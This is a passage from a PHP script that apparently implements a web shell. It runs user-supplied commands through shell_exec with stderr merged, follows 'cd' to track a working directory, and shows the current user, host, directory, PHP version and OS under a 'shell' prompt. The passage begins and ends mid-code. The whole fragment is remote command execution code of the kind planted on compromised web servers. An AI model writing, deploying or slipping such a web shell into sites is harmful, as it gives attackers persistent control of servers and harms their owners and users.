&1'; $output = shell_exec($full_cmd) ?? '(no output)'; if (preg_match('/^cd\s+(.+)/', $cmd, $m)) { $new_dir = realpath($cwd . '/' . trim($m[1])); if ($new_dir !== false) $cwd = $new_dir; } } $user = shell_exec('whoami 2>&1') ?? '?'; $user = trim($user); $host = gethostname(); ?> shell
user:
host:
cwd:
php:
os:
@:$
' . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . ''; } ?>